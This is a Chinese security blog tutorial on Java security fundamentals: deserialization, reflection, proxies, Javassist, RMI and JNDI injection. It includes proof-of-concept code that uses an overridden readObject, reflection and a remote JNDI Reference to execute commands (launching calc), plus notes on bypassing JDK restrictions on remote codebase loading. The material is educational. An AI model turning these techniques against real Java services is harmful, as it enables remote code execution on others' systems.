java安全基础

admin 2022年1月6日01:39:45评论50 views字数 14677阅读48分55秒阅读模式

java反序列化漏洞是java中比较常见的漏洞。

基础概念

定义

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程。
反序列化即逆过程,由字节流还原成对象。
注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

用途

1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中
2) 在网络上传送对象的字节序列

应用场景
1)一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。
2)在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

漏洞原由

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

API实现

操作 类名 方法 方法作用
序列化 Java.io.ObjectOutputStream writeObject() 该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
反序列化 java.io.ObjectInputStream readObject() 该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

注意:实现Serializable和Externalizable接口的类的对象才能被序列化

反序列化漏洞利用例子:
readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行。

Ye1s类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Ye1s implements Serializable {
private String cmd;
private void readObject(ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}

public String getCmd() {
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

Main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.*;

public class Main {
public static void main(String[] args) throws Exception{
Ye1s ye1s=new Ye1s();
ye1s.setCmd("calc");
byte[] serializeData=serialize(ye1s);
System.out.println(serializeData);
unserilize(serializeData);
}
public static byte[] serialize(final Object obj) throws Exception{
ByteArrayOutputStream btout=new ByteArrayOutputStream();
ObjectOutputStream objOut=new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();

}
public static Object unserilize(final byte[] serialized) throws Exception{
ByteArrayInputStream bthin=new ByteArrayInputStream(serialized);
ObjectInputStream objIn=new ObjectInputStream(bthin);
return objIn.readObject();
}
}

java反射

Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂。

其实在Java中定义的一个类本身也是一个对象,即java.lang.Class类的实例,这个实例称为类对象

  • 类对象表示正在运行的 Java 应用程序中的类和接口
  • 类对象没有公共构造方法,由 Java 虚拟机自动构造
  • 类对象用于提供类本身的信息,比如有几种构造方法, 有多少属性,有哪些普通方法

获取类对象
假设现在有一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package reflection;

public class User {
private String name;

public User(String name) {
this.name=name;
}
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}

要获取该类对象一般有三种方法

1
2
3
class.forName("reflection.User")
User.class
new User().getClass()

最常用的是第一种,通过一个字符串即类的全路径名就可以得到类对象,另外两种方法依赖项太强

利用类对象创建对象
与new直接创建对象不同,反射是先拿到类对象,然后通过类对象获取构造器对象,再通过构造器对象创建一个对象。

1
2
3
4
5
6
7
8
9
10
package reflection;
import java.lang.reflect.Constructor;
public class CreateObject {
public static void main(String[] args) throws Exception{
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User) constructor.newInstance("ye1s");
System.out.println(user.getName());
}
}
方法 说明
getConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的公有构造方法
getConstructors() 获得该类的所有公有构造方法
getDeclaredConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的构造方法
getDeclaredConstructors() 获得该类所有构造方法

通过反射调用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class CallMethod {
public static void main(String[] args) throws Exception{
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User)constructor.newInstance("ye1s");

Method method=UserClass.getMethod("setName", String.class);
method.invoke(user,"yesi");
System.out.println(user.getName());
}
}
方法 说明
getMethod(String name, Class…<?> parameterTypes) 获得该类某个公有的方法
getMethods() 获得该类所有公有的方法
getDeclaredMethod(String name, Class…<?> parameterTypes) 获得该类某个方法
getDeclaredMethods() 获得该类所有方法

通过反射访问属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class AccessAttribute {
public static void main(String[] args) throws Exception {
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User)constructor.newInstance("ye1s");
Field field=UserClass.getDeclaredField("name");
field.setAccessible(true);// name是私有属性,需要先设置可访问
field.set(user,"yesi");
System.out.println(user.getName());
}
}
方法 说明
getField(String name) 获得某个公有的属性对象
getFields() 获得所有公有的属性对象
getDeclaredField(String name) 获得某个属性对
getDeclaredFields() 获得所有属性对象

利用java反射执行代码

1
2
3
4
5
6
7
8
9
10
package reflection;

public class Exec {
public static void main(String[] args) throws Exception{
Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
runtimeClass.getMethod("exec",String.class).invoke(runtime,"calc.exe");

}
}

JAVA 代理机制

详情可看此文章:https://xz.aliyun.com/t/9197

代理模式Java当中最常用的设计模式之一。其特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。而Java的代理机制分为静态代理和动态代理。 动态代理又分为jdk动态代理和CGLIB动态代理。

Java动态代理位于Java.lang.reflect包下,我们一般就仅涉及Java.lang.reflect.Proxy类与InvocationHandler接口,使用其配合反射,完成实现动态代理的操作。

InvocationHandler接口:负责提供调用代理操作。

是由代理对象调用处理器实现的接口,定义了一个invoke()方法,每个代理对象都有一个关联的接口。当代理对象上调用方法时,该方法会被自动转发到InvocationHandler.invoke()方法来进行调用。
Proxy类:负责动态构建代理类

提供四个静态方法来为一组接口动态生成的代理类并返回代理类的实例对象。

1
2
3
4
5
6
7
getProxyClass(ClassLoader,Class<?>...):获取指定类加载器和动态代理类对象。   

newProxyInstance(ClassLoader,Class<?>[],InvocationHandler):指定类加载器,一组接口,调用处理器;

isProxyClass(Class<?>):判断获取的类是否为一个动态代理类;

getInvocationHandler(Object):获取指定代理类实例查找与它相关联的调用处理器实例;

JAVASSIST

Javassist 是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java 编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

ClassPool:一个基于 Hashtable 实现的 CtClass 对象容器,其中键是类名称,值是表示该类的 CtClass 对象。
CtClass:CtClass 表示类,一个 CtClass (编译时类)对象可以处理一个 class 文件,这些 CtClass 对象可以从 ClassPool 获得。
CtMethods:表示类中的方法。
CtFields :表示类中的字段。

ClassPool
获取 classpool 对象

1
2
3
4
// 获取 ClassPool 对象,使用系统默认类路径
ClassPool pool = new ClassPool(true);
// 效果与 new ClassPool(true) 一致
ClassPool pool1 = ClassPool.getDefault();

获取类

1
2
3
4
// 通过类名获取 CtClass,未找到会抛出异常
CtClass ctClass = pool.get("org.test.demo.DemoService");
// 通过类名获取 CtClass,未找到返回 null,不会抛出异常
CtClass ctClass1 = pool.getOrNull("org.test.demo.DemoService");

创建类

1
2
3
4
5
6
// 复制一个类,创建一个新类
CtClass ctClass2 = pool.getAndRename("org.test.demo.DemoService", "org.test.demo.DemoCopyService");
// 通过类名,创建一个新类
CtClass ctClass3 = pool.makeClass("org.test.demo.NewDemoService");
// 通过文件流,创建一个新类,注意文件必须是编译后的 class 文件,不是源代码文件。
CtClass ctClass4 = pool.makeClass(new FileInputStream(new File("./customize/DemoBeforeHandler.class")));

添加类搜索路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 将类搜索路径插入到搜索路径之前
pool.insertClassPath(new ClassClassPath(this.getClass()));
// 将类搜索路径添加到搜索路径之后
pool.appendClassPath(new ClassClassPath(this.getClass()));
// 将一个目录作为类搜索路径
pool.insertClassPath("/usr/local/javalib");
CtClass
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("javassist.test02.Person");
//类名
String name = ctClass.getName();
//包名
String packageName = ctClass.getPackageName();
//父类
CtClass superclass = ctClass.getSuperclass();
//接口
CtClass[] interfaces = ctClass.getInterfaces();

System.out.println(name);
System.out.println(packageName);
System.out.println(superclass.getName());
System.out.println(interfaces[0].getName());
}

CtMethod

1
2
3
4
5
6
7
8
9
10
11
12
// 在方法体前插入代码块
ctMethod.insertBefore("");
// 在方法体后插入代码块
ctMethod.insertAfter("");
// 在某行 字节码 后插入代码块
ctMethod.insertAt(10, "");
// 添加参数
ctMethod.addParameter(CtClass);
// 设置方法名
ctMethod.setName("newName");
// 设置方法体
ctMethod.setBody("System.out.println(123);");

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package poc;

import javassist.*;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class JavassistDemo {


public static void main(String[] args) throws Exception{

// 获取 ClassPool 对象,使用系统默认类路径
ClassPool classPool = ClassPool.getDefault();
// 创建一个空类
CtClass ctClass = classPool.makeClass("Test");

// 新增 String 类型字段 name
CtField name = new CtField(classPool.get(String.class.getName()), "name", ctClass);
// 新增 int 类型字段 age
CtField age = new CtField(classPool.get(int.class.getName()), "age", ctClass);

// 设置修饰符 private
name.setModifiers(Modifier.PRIVATE);
age.setModifiers(Modifier.PRIVATE);

//添加到类里
ctClass.addField(name);
ctClass.addField(age);

// 无参构造方法
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},ctClass);
// 有参构造方法
CtConstructor ctConstructor1 = new CtConstructor(new CtClass[]{classPool.get(String.class.getName()), CtClass.intType}, ctClass);

// 方法体
ctConstructor.setBody("{name=\"test\";age=12;}");
// 方法体 $0 代表this $1 $2 方法参数 name age
ctConstructor1.setBody("{$0.name = $1;$0.age = $2;}");

ctClass.addConstructor(ctConstructor);
ctClass.addConstructor(ctConstructor1);

//创建 getter setter 方法
CtMethod setName = CtNewMethod.setter("setName", name);
CtMethod getName = CtNewMethod.getter("getName", name);

CtMethod getAge = CtNewMethod.getter("getAge", age);
CtMethod setAge = CtNewMethod.setter("setAge", age);

ctClass.addMethod(setName);
ctClass.addMethod(getName);

ctClass.addMethod(getAge);
ctClass.addMethod(setAge);

//新增方法
CtMethod printName = new CtMethod(new CtClass(String.class.getName()) {
@Override
public String toString() {
return super.toString();
}
}, "printInfo", new CtClass[]{}, ctClass);

// 设置方法修饰符 public
printName.setModifiers(Modifier.PUBLIC);
// 设置方法体
printName.setBody("{return \"my name is \"+name+\",\" + \"age is \"+age;}");
ctClass.addMethod(printName);

// 写入文件
ctClass.writeFile("D:\\test");

//将创建的ctClass加载至当前线程的上下文类加载器中
Class clz = ctClass.toClass();

//反射调用
Constructor declaredConstructor = clz.getDeclaredConstructor(String.class, int.class);
Object obj = declaredConstructor.newInstance("liangzi", 100);

Method printInfo = clz.getMethod("printInfo");
System.out.println(printInfo.invoke(obj));


}
}

JAVA RMI

详情可看JAVA RMI 反序列化知识详解

JAVA本身提供了一种RPC框架 RMI及Java 远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的。

RMI调用逻辑:

RMI主要分为三部分

  • RMI Registry注册中心
  • Client 客户端
  • RMI Server服务端

样例如下:

创建注册中心
HelloRegistry.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;


public class HelloRegistry {
public static void main(String[] args) {
try{
LocateRegistry.createRegistry(1099);
}catch (RemoteException e){
e.printStackTrace();
}
while (true);
}
}

RMI Server服务端
先创建一个继承java.rmi.Remote的接口
HelloInterface.java

1
2
3
 public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}

继承UnicastRemoteObject类,实现上面的接口
HelloImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
 import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
@Override
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}

写服务端的启动类,用于创建远程对象注册表和注册远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HelloServer {
public static void main(String[] args) {
try{
String rmiName="ye1s";
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind(rmiName,new HelloImpl());

}catch (RemoteException | AlreadyBoundException e){
e.printStackTrace();
}
}
}

连接注册服务 查找ye1s对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HelloClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("ye1s");
System.out.println(hello.sayHello("flag"));
} catch (NotBoundException | RemoteException e) {
e.printStackTrace();
}
}
}

对于Naming和LocateRegistry的理解可以从下面的文章了解
java.rmi.Naming和java.rmi.registry.LocateRegistry的区别

攻击方式
服务端攻击注册中心
注册中心攻击客户端
客户端攻击注册中心

JAVA JNDI注入

详情可看Java安全之JNDI注入:https://www.anquanke.com/post/id/201181

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)
  • JNDI客户端调用方式
1
2
3
4
5
6
//指定需要查找name名称
String jndiName= "jndiName";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。

服务端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {

public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);

Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

}
}

恶意代码(test.class),将其编译好放到可访问的http服务器

1
2
3
4
5
6
7
import java.lang.Runtime;

public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

当客户端通过InitialContext().lookup(“rmi://127.0.0.1:7777/calc”)获取远程对象时,会执行我们的恶意代码

1
2
3
4
5
6
7
8
9
10
package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
public static void main(String[] args) throws Exception{
//jdk1.8.121之后需要添加System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true")
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}

JDK < 8u191

我们在上面讲了在JDK 6u132, JDK 7u122, JDK 8u113中Java限制了通过RMI远程加载Reference工厂类,com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。

但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的值默认为false,对应的CVE编号为:CVE-2018-3149

JDK >8u191

在jdk8u191之后RMI和LDAP默认都不能从远程加载类,还是可以在RMI和LDAP中获取对象。在前面我们分析过javax.naming.spi.NamingManager#getObjectFactoryFromReference方法,会先从本地的CLASSPATH中寻找该类,如果没有才会去远程加载。之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了

JNI字段描述符

JNI 字段描述符【Java Native Interface FieldDescriptors】,它是一种对 Java 数据类型、数组、方法的编码

基本概念
这种编码方式把 Java 中的基本数据类型、数组、对象都使用一种规范来表示:

  • 八种基本数据类型都使用一个大写字母表示
  • void 使用 V 表示
  • 数组使用左方括号表示
  • 方法使用一组圆括号表示,参数在括号里,返回类型在括号右侧
  • 对象使用 L 开头,分号结束,中间是类的完整路径,包名使用正斜杠分隔

基本编码
基本编码如下表格,并配有解释说明:

举例说明
数据类型
1、[I:表示 int 一维数组,即int []
2、Ljava/lang/String;:表示 String 类型,即 java.lang.String。
3、[Ljava/lang/Object;:表示 Object 一维数组,即 java.lang.Object []
4、Z:表示 boolean 类型。
5、V:表示 void 类型。

方法
1、() V:表示参数列表为空,返回类型为 void 的方法,即 void func ()。
2、(II) V:表示参数列表为 int、int,返回类型为 void 的方法,即 void func (int i,int j)。
3、(Ljava/lang/String;Ljava/lang/String;) I:表示参数列表为 String、String,返回类型为 int 的方法, 即 int func (String i,String j)。
4、([B) V:表示参数列表为byte [],返回类型为 void 的方法,即 void func (byte [] bytes)
5、(ILjava/lang/Class;) J:表示参数列表为 int、Class,返回类型为 long 的方法,即 long func (int i,Class c)。

SOAP

SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。

或者更简单地说:SOAP 是用于访问网络服务的协议。
SOAP菜鸟教程

参考文章:
Java反序列化漏洞原理解析
Java反序列化漏洞分析
攻击Java Web应用-Java Web安全
JAVA RMI 反序列化知识详解
java.rmi.Naming和java.rmi.registry.LocateRegistry的区别
JAVA反序列化 - Commons-Collections组件
Java反序列化入门-Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析
老大难的 Java ClassLoader 再不理解就老了: https://zhuanlan.zhihu.com/p/51374915

JAVA JNDI注入知识详解:http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:39:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java安全基础https://cn-sec.com/archives/722145.html

发表评论

匿名网友 填写信息